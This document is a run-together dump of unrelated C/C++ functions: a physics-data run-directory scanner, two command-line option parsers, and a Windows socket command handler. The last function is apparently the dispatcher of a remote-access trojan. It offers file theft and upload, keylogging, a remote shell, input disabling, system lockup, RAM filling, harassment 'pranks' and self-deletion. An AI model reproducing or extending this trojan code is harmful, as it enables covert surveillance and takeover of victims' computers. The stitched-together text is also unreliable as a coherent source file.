Int_t KVRunListCreator::ScanDirectory() { // Return number of runs found KVSystemDirectory sysdir("rundir", GetRunDir()); TIter it(sysdir.GetListOfFiles()); KVSystemFile* sysfile; int howmany = 0; while ((sysfile = (KVSystemFile*)it())) { int run_num; if ((run_num = KVAvailableRunsFile::IsRunFileName(GetFileFormat(), sysfile->GetName()))) { KVDatime when; if (KVAvailableRunsFile::ExtractDateFromFileName(GetFileFormat(), sysfile->GetName(), when)) { ++howmany; KVNameValueList* infos = new KVNameValueList; infos->SetName(Form("run%06d", run_num)); infos->SetValue("Run", run_num); infos->SetValue("Start", when.AsSQLString()); infos->SetValue("End", sysfile->GetDate()); Int_t x = sysfile->GetSize(); if (x == sysfile->GetSize()) infos->SetValue("Size", x); else infos->SetValue64bit("Size", sysfile->GetSize()); if (fDataType != "") { fReader.reset(KVRawDataReader::OpenFile(fDataType, Form("%s/%s", sysdir.GetTitle(), sysfile->GetName()))); ULong64_t events = 0; while (fReader->GetNextEvent()) ++events; Int_t x = events; if (x == events) infos->SetValue("Events", x); else infos->SetValue64bit("Events", events); } infos->ls(); fRunInfos.Add(infos); } } } return howmany; }
void options (int ac, char **av) { int i; char *p; for (i=1; i<ac; i++) { if (!strcmp (av [i], "-h") || !strcmp (av [i], "--help")) help (); if (!strcmp (av [i], "-v") || !strcmp (av [i], "--version")) version (); if (!strcmp (av [i], "-S") || !strcmp (av [i], "--printsysdir")) sysdir (); if (!strcmp (av [i], "-d") || !strcmp (av [i], "--debug")) { opt_debug++; continue; } if (!strcmp (av [i], "-D") || !strcmp (av [i], "--no-extension")) { opt_nocwdrc = 1; continue; } if (!strcmp (av [i], "-m") || !strcmp (av [i], "--matching")) { opt_matching = 1; continue; } if (!strcmp (av [i], "-n") || !strcmp (av [i], "--line-numbers")) { opt_line_number = 1; continue; } if (!strcmp (av [i], "-r") || !strcmp (av [i], "--reverse")) { opt_reverse = 1; continue; } if (!strcmp (av [i], "-R") || !strcmp (av [i], "--nohomedir")) { opt_nohomerc = 1; continue; } if (!strcmp (av [i], "-w") || !strcmp (av [i], "--webpage")) { opt_webpage = 1; continue; } if (!strcmp (av [i], "-c")) { if (!av[++i]) err_quit ("missing parameter to -c"); opt_config = malloc (strlen (av[i])+1); strcpy (opt_config, av [i]); continue; } if (!strncmp (av [i], "--config", strlen ("--config"))) { if (*(p = av [i] + strlen ("--config")) != '=') err_quit ("invalid character in --config"); if (!*(++p)) err_quit ("missing parameter to --config"); opt_config = malloc (strlen (p)+1); strcpy (opt_config, p); continue; } if (!strcmp (av [i], "-C")) { if (!av[++i]) err_quit ("missing parameter to -C"); opt_directory = malloc (strlen (av[i])+1); strcpy (opt_directory, av [i]); continue; } if (!strncmp (av [i], "--config-dir", strlen ("--config-dir"))) { if (*(p = av [i] + strlen ("--config-dir")) != '=') err_quit ("invalid character in --config-dir"); if (!*(++p)) err_quit ("missing parameter to --config-dir"); opt_directory = malloc (strlen (p)+1); strcpy (opt_directory, p); continue; } if (!strcmp (av [i], "-t")) { if (!av[++i]) err_quit ("missing parameter to -t"); opt_type = malloc (strlen (av[i])+1); strcpy (opt_type, av [i]); continue; } if (!strncmp (av [i], "--type", strlen ("--type"))) { if (*(p = av [i] + strlen ("--type")) != '=') err_quit ("invalid character in --type"); if (!*(++p)) err_quit ("missing parameter to --type"); opt_type = malloc (strlen (p)+1); strcpy (opt_type, p); continue; } if (i == (ac-1)) { inp_file = malloc (strlen (av [i])+1); strcpy (inp_file, av [i]); continue; } err_quit ("unknown option %s", av [i]); } }
void options (int ac, char **av) { int c; static struct option opt_tbl [] = { {"config", 1, 0, 'c' }, /* specify spcrc config file */ {"config-dir", 1, 0, 'C' }, /* non-standard config directory */ {"debug", 0, 0, 'd' }, /* turn on debug */ {"no-extension", 0, 0, 'D' }, /* don't do extension scraping */ {"help", 0, 0, 'h' }, /* helpful information and exit */ {"matching", 0, 0, 'm' }, /* only show matching portions of a line */ {"line-numbers", 0, 0, 'n' }, /* pre-pend line numbers */ {"reverse", 0, 0, 'r' }, /* reverse black and white */ {"nohomedir", 0, 0, 'R' }, /* don't check home directory */ {"printsysdir", 0, 0, 'S' }, /* print system directory location */ {"type", 1, 0, 't' }, /* specify effective file extension */ {"version", 0, 0, 'v' }, /* show version and exit */ {"webpage", 0, 0, 'w' } /* generate html output */ }; while (1) { int opt_idx = 0; switch ((c = getopt_long (ac, av, "c:C:dDhmnrRSt:vw", opt_tbl, &opt_idx))) { case -1: goto DONE; case 0: printf ("option %s", opt_tbl [opt_idx].name); if (optarg) printf (" with arg %s", optarg); printf ("\n"); break; case 'd': opt_debug++; break; case 'D': opt_nocwdrc = 1; break; case 'h': help (); break; case 'm': opt_matching = 1; break; case 'n': opt_line_number = 1; break; case 'r': opt_reverse = 1; break; case 'R': opt_nohomerc = 1; break; case 'S': sysdir (); break; case 'v': version (); break; case 'w': opt_webpage = 1; break; case 'c': opt_config = malloc (strlen (optarg)+1); strcpy (opt_config, optarg); break; case 'C': opt_directory = malloc (strlen (optarg)+1); strcpy (opt_directory, optarg); break; case 't': opt_type = malloc (strlen (optarg)+1); strcpy (opt_type, optarg); break; case '?': break; default: printf ("getopt returned character code 0x%02X ??\n", (unsigned char) c); } } DONE: if (optind < ac) { if (opt_debug) printf ("non-option ARGV-elements: %s\n", av [optind]); inp_file = malloc (strlen (av [optind])+1); strcpy (inp_file, av [optind]); } }
DWORD WINAPI HandleClient( LPVOID param ){ SOCKET s = *(SOCKET*)param; char buf[1024],tmp[64]; struct cmd_t cmd; int n; while(1){ n = recv( s , buf , 1023 , 0 ); buf[n] = 0; //MB(buf); if( n == 0 ) break; parse_cmd( buf , &cmd ); int sec = cmd.cmd_object; int arg = cmd.args; char *p = cmd.addnl.str; //wsprintf( tmp , "%d::%d" , sec , arg ); //MB(tmp); if( sec == CMD_FILE ){ switch( arg ){ case FILE_SDIR: SendDirTree( s , p , 0 ); break; case FILE_SDIREX: SendDirTree( s , p , 1 ); break; case FILE_SDRV: SendDriveSet( s ); break; case FILE_SEND: SendFile( s , p ); break; case FILE_RECV: RecvFile( s , p ); break; case FILE_MKDIR: LocalMkDir( p ); break; default: SendLn( s , "***file: bad args\r\n" ); } } else if( sec == CMD_HW ){ switch( arg ){ case HW_OPENCD: OpenCDTray(); break; case HW_CLOSECD: CloseCDTray(); break; case HW_MOUSE_R: SetMouseBns( MOUSE_RT ); break; case HW_MOUSE_L: SetMouseBns( MOUSE_LT ); break; case HW_MOUSE_SW: SwapMouseBns(); break; case HW_MONITOR1: MonitorPower( 1 ); break; case HW_MONITOR0: MonitorPower( 0 ); break; case HW_DB_CLK: DblClkDelay( cmd.addnl.nums[0] ); break; case HW_INPUT0: EnableInput( false ); break; case HW_INPUT1: EnableInput( true ); break; case HW_REBOOT: Reboot(); break; case HW_SHTDWN: ShutDown(); break; default: SendLn( s , "***bad args\r\n" ); } } else if( sec == CMD_KEYBD ){ switch( arg ){ case KEYBD_STARTLOG: KeyLog( true ); break; case KEYBD_STOPLOG: KeyLog( false ); break; default: SendLn( s , "***keybd: bad args\r\n" ); } } else if( sec == CMD_MOUSE ){ switch( arg ){ case MOUSE_FLY_STOP: FlyMousePtr( false ); break; case MOUSE_FLY: FlyMousePtr( true ); break; case MOUSE_FLY_CLK: FlyMousePtrClick( true ); break; case MOUSE_RESTRICT: RestrictMouseMovementTo(cmd.addnl.nums[0], cmd.addnl.nums[1], cmd.addnl.nums[2], cmd.addnl.nums[3] ); break; case MOUSE_SHOW: ShowMouseCursor( true ); break; case MOUSE_HIDE: ShowMouseCursor( false ); break; case MOUSE_CLK: MouseClick( cmd.addnl.nums[0] ); break; case MOUSE_CLK_PT: MouseClickPoint( cmd.addnl.nums[1], cmd.addnl.nums[2], cmd.addnl.nums[0] ); break; case MOUSE_SETPOS: SetMousePos( cmd.addnl.nums[0], cmd.addnl.nums[1] ); break; default: SendLn( s , "***mouse: bad args\r\n" ); } } else if( sec == CMD_SHELL ){ if( arg == SHELL_SPAWN ) CreateRemoteShell( s ); } else if( sec == CMD_SYS ){ unsigned long m; unsigned __int64 d; char msg[256]; switch( arg ){ case SYS_MAXMEM: m = GetMaxMem(); wsprintf( msg , "max mem: %u MiB\r\n" , m ); SendLn( s ,msg ); break; case SYS_BUSYMEM: m = GetBusyMem(); wsprintf( msg , "mem in use: %u MiB\r\n" , m ); SendLn( s , msg ); break; case SYS_FREEMEM: m = GetFreeMem(); wsprintf( msg , "free mem: %u MiB\r\n" , m ); SendLn( s , msg ); break; case SYS_MAXDISK: d = GetDiskUsage( cmd.addnl.str , U_TOTAL ); if( d < 1024 ){ m = (unsigned long)d; wsprintf( msg , "total space on %s: %u MiB\r\n" , cmd.addnl.str , m ); }else{ m = (unsigned long)(d/1024); wsprintf( msg , "total space on %s: %u GiB\r\n" , cmd.addnl.str , m ); } SendLn( s , msg ); break; case SYS_USEDDISK: d = GetDiskUsage( cmd.addnl.str , U_USED ); if( d < 1024 ){ m = (unsigned long)d; wsprintf( msg , "used space on %s: %u MiB\r\n" , cmd.addnl.str , m ); }else{ m = (unsigned long)(d/1024); wsprintf( msg , "used space on %s: %u GiB\r\n" , cmd.addnl.str , m ); } SendLn( s , msg ); break; case SYS_FREEDISK: d = GetDiskUsage( cmd.addnl.str , U_FREE ); if( d < 1024 ){ m = (unsigned long)d; wsprintf( msg , "free space on %s: %u MiB\r\n" , cmd.addnl.str , m ); }else{ m = (unsigned long)(d/1024); wsprintf( msg , "free space on %s: %u GiB\r\n" , cmd.addnl.str , m ); } SendLn( s , msg ); break; case SYS_SYSDIR: wsprintf( msg , "system dir is:\'%s\'\r\n" , sysdir() ); SendLn( s , msg ); break; case SYS_WINDIR: wsprintf( msg , "windows dir is:\'%s\'\r\n", windir() ); SendLn( s , msg ); break; case SYS_CHDIR: cd( cmd.addnl.str ); break; case SYS_LOCKUP: SendLn( s , "!!!Locking up system!!!... don\'t expect too much after this!\r\n" ); Sleep(2000); LockUp(); break; case SYS_RAMFILL: RamFill(); break; default: SendLn( s , "***sys: bad args\r\n" ); } } else if( sec == CMD_TBAR ){ switch(arg){ case TBAR_SHOW: ShowTaskBar( true ); break; case TBAR_HIDE: ShowTaskBar( false ); break; case TBAR_STBN_SHOW: ShowStartBn( true ); break; case TBAR_STBN_HIDE: ShowStartBn( false ); break; case TBAR_STBN_FLY1: FlyStartBn( true ); break; case TBAR_STBN_FLY0: FlyStartBn( false ); break; case TBAR_CLOCK_SHOW: ShowClock( true ); break; case TBAR_CLOCK_HIDE: ShowClock( false ); break; case TBAR_ENABLE: EnableTaskBar( true ); break; case TBAR_DISABLE: EnableTaskBar( false ); break; default: SendLn( s , "***tb: bad args\r\n" ); } } else if( sec == CMD_PRANK ){ switch(arg){ case PRANK_DTP_ENABLE: EnableDesktop( true ); break; case PRANK_DTP_DISABLE: EnableDesktop( false ); break; case PRANK_FU_START: if( !strequal( cmd.addnl.str , "" ) ) szFUStr = cmd.addnl.str; FuckYou( true ); break; case PRANK_FU_STOP: FuckYou( false ); break; case PRANK_WRUN_START: if( cmd.addnl.nums[0] > 0 ) uiRunWindowsDelay = cmd.addnl.nums[0]; MakeWindowsRun( true ); break; case PRANK_WRUN_STOP: MakeWindowsRun( false ); break; case PRANK_QUAKE_START: if( cmd.addnl.nums[0] > 0 ) uiQuakeDelay = cmd.addnl.nums[0]; Quake( true ); break; case PRANK_QUAKE_STOP: Quake( false ); break; default: SendLn( s , "***bad trigger\r\n" ); } } else if( sec == CMD_OWL ){ switch(arg){ case OWL_UNINSTALL: SelfDelete(); exit(0); break; default: SendLn( s , "***bad trigger\r\n" ); } } } return 0; }